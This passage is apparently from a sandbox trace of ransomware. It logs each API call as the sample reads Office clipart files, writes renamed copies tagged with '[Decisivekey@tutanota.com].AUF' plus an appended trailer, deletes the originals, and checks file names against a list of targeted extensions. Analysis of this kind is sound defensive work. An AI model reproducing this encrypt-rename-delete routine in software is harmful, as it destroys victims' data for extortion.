Office\\CLIPART\\PUB60COR\\DD01181_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0220.556] GetLastError () returned 0x0 [0220.556] ReadFile (in: hFile=0x1d8, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x5a8, lpOverlapped=0x0) returned 1 [0220.577] WriteFile (in: hFile=0x1f4, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0220.578] ReadFile (in: hFile=0x1d8, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.578] WriteFile (in: hFile=0x1f4, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.578] SetEndOfFile (hFile=0x1f4) returned 1 [0220.578] CloseHandle (hObject=0x1f4) returned 1 [0220.578] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.578] SetEndOfFile (hFile=0x1d8) returned 1 [0220.579] CloseHandle (hObject=0x1d8) returned 1 [0220.579] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.579] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf")) returned 1 [0220.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0220.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0220.579] lstrlenW (lpString=".doc") returned 4 [0220.579] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.579] lstrlenW (lpString=".docx") returned 5 [0220.579] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.579] lstrlenW (lpString=".pdf") returned 4 [0220.580] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.580] lstrlenW (lpString=".xls") returned 4 [0220.580] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.580] lstrlenW (lpString=".xlsx") returned 5 [0220.580] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.580] lstrlenW (lpString=".ppt") returned 4 [0220.580] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0220.580] lstrlenW (lpString=".zip") returned 4 [0220.580] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.580] lstrlenW (lpString=".rar") returned 4 [0220.580] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.580] lstrlenW (lpString=".bz2") returned 4 [0220.580] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.580] lstrlenW (lpString=".7z") returned 3 [0220.580] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0220.580] lstrlenW (lpString=".dbf") returned 4 [0220.580] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0220.580] lstrlenW (lpString=".1cd") returned 4 [0220.580] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0220.580] lstrlenW (lpString=".jpg") returned 4 [0220.580] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.585] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=13936) returned 1 [0220.585] CloseHandle (hObject=0x1f8) returned 1 [0220.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf")) returned 0x20 [0220.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0220.586] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.586] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0220.586] GetLastError () returned 0x0 [0220.586] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x3670, lpOverlapped=0x0) returned 1 [0220.606] WriteFile (in: hFile=0x16c, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x3680, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x3680, lpOverlapped=0x0) returned 1 [0220.607] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.607] WriteFile (in: hFile=0x16c, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.607] SetEndOfFile (hFile=0x16c) returned 1 [0220.607] CloseHandle (hObject=0x16c) returned 1 [0220.608] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.608] SetEndOfFile (hFile=0x1f8) returned 1 [0220.608] CloseHandle (hObject=0x1f8) returned 1 [0220.608] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.609] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf")) returned 1 [0220.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0220.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0220.609] lstrlenW (lpString=".doc") returned 4 [0220.609] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.609] lstrlenW (lpString=".docx") returned 5 [0220.609] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.609] lstrlenW (lpString=".pdf") returned 4 [0220.609] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.609] lstrlenW (lpString=".xls") returned 4 [0220.609] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.609] lstrlenW (lpString=".xlsx") returned 5 [0220.609] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.609] lstrlenW (lpString=".ppt") returned 4 [0220.609] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0220.609] lstrlenW (lpString=".zip") returned 4 [0220.609] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.609] lstrlenW (lpString=".rar") returned 4 [0220.609] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.609] lstrlenW (lpString=".bz2") returned 4 [0220.609] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.609] lstrlenW (lpString=".7z") returned 3 [0220.609] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0220.609] lstrlenW (lpString=".dbf") returned 4 [0220.609] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0220.609] lstrlenW (lpString=".1cd") returned 4 [0220.609] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0220.609] lstrlenW (lpString=".jpg") returned 4 [0220.609] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.610] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=2280) returned 1 [0220.610] CloseHandle (hObject=0x1f8) returned 1 [0220.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf")) returned 0x20 [0220.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0220.611] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.611] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0220.611] GetLastError () returned 0x0 [0220.611] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x8e8, lpOverlapped=0x0) returned 1 [0220.662] WriteFile (in: hFile=0x16c, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x8f0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x8f0, lpOverlapped=0x0) returned 1 [0220.663] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.663] WriteFile (in: hFile=0x16c, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.663] SetEndOfFile (hFile=0x16c) returned 1 [0220.663] CloseHandle (hObject=0x16c) returned 1 [0220.663] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.663] SetEndOfFile (hFile=0x1f8) returned 1 [0220.664] CloseHandle (hObject=0x1f8) returned 1 [0220.664] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.664] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf")) returned 1 [0220.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0220.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0220.676] lstrlenW (lpString=".doc") returned 4 [0220.676] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.676] lstrlenW (lpString=".docx") returned 5 [0220.676] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.676] lstrlenW (lpString=".pdf") returned 4 [0220.676] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.676] lstrlenW (lpString=".xls") returned 4 [0220.676] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.676] lstrlenW (lpString=".xlsx") returned 5 [0220.676] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.677] lstrlenW (lpString=".ppt") returned 4 [0220.677] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0220.677] lstrlenW (lpString=".zip") returned 4 [0220.677] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.677] lstrlenW (lpString=".rar") returned 4 [0220.677] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.677] lstrlenW (lpString=".bz2") returned 4 [0220.677] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.677] lstrlenW (lpString=".7z") returned 3 [0220.677] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0220.677] lstrlenW (lpString=".dbf") returned 4 [0220.677] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0220.677] lstrlenW (lpString=".1cd") returned 4 [0220.677] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0220.677] lstrlenW (lpString=".jpg") returned 4 [0220.677] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.015] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.015] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0221.022] GetLastError () returned 0x0 [0221.022] ReadFile (in: hFile=0x204, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x45ba, lpOverlapped=0x0) returned 1 [0221.046] WriteFile (in: hFile=0x1e0, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x45c0, lpOverlapped=0x0) returned 1 [0221.048] ReadFile (in: hFile=0x204, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.048] WriteFile (in: hFile=0x1e0, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.048] SetEndOfFile (hFile=0x1e0) returned 1 [0221.048] CloseHandle (hObject=0x1e0) returned 1 [0221.048] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.048] SetEndOfFile (hFile=0x204) returned 1 [0221.049] CloseHandle (hObject=0x204) returned 1 [0221.049] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.049] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf")) returned 1 [0221.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0221.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0221.050] lstrlenW (lpString=".doc") returned 4 [0221.050] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.050] lstrlenW (lpString=".docx") returned 5 [0221.050] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.050] lstrlenW (lpString=".pdf") returned 4 [0221.050] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.050] lstrlenW (lpString=".xls") returned 4 [0221.050] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.050] lstrlenW (lpString=".xlsx") returned 5 [0221.050] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.050] lstrlenW (lpString=".ppt") returned 4 [0221.051] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0221.051] lstrlenW (lpString=".zip") returned 4 [0221.051] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.051] lstrlenW (lpString=".rar") returned 4 [0221.051] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.051] lstrlenW (lpString=".bz2") returned 4 [0221.052] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.052] lstrlenW (lpString=".7z") returned 3 [0221.052] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0221.052] lstrlenW (lpString=".dbf") returned 4 [0221.052] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0221.052] lstrlenW (lpString=".1cd") returned 4 [0221.052] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0221.052] lstrlenW (lpString=".jpg") returned 4 [0221.052] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.052] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=37390) returned 1 [0221.052] CloseHandle (hObject=0x1e0) returned 1 [0221.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf")) returned 0x20 [0221.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0221.053] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.053] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0221.053] GetLastError () returned 0x0 [0221.053] ReadFile (in: hFile=0x1e0, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x920e, lpOverlapped=0x0) returned 1 [0221.108] WriteFile (in: hFile=0x16c, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x9210, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x9210, lpOverlapped=0x0) returned 1 [0221.109] ReadFile (in: hFile=0x1e0, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.109] WriteFile (in: hFile=0x16c, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.109] SetEndOfFile (hFile=0x16c) returned 1 [0221.109] CloseHandle (hObject=0x16c) returned 1 [0221.109] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.109] SetEndOfFile (hFile=0x1e0) returned 1 [0221.110] CloseHandle (hObject=0x1e0) returned 1 [0221.110] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.110] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf")) returned 1 [0221.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0221.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0221.165] lstrlenW (lpString=".doc") returned 4 [0221.165] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.165] lstrlenW (lpString=".docx") returned 5 [0221.165] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.165] lstrlenW (lpString=".pdf") returned 4 [0221.165] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.165] lstrlenW (lpString=".xls") returned 4 [0221.165] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.165] lstrlenW (lpString=".xlsx") returned 5 [0221.165] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.165] lstrlenW (lpString=".ppt") returned 4 [0221.165] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0221.165] lstrlenW (lpString=".zip") returned 4 [0221.165] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.165] lstrlenW (lpString=".rar") returned 4 [0221.165] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.165] lstrlenW (lpString=".bz2") returned 4 [0221.165] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.165] lstrlenW (lpString=".7z") returned 3 [0221.165] lstrcmpiW (lpString1=".7z", 